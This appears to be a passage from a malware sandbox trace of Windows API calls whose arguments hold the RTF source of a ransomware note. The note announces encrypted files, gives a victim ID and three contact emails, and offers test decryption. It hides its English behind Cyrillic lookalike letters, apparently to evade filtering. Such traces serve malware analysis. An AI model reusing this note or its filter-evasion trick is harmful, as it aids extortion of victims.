r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u 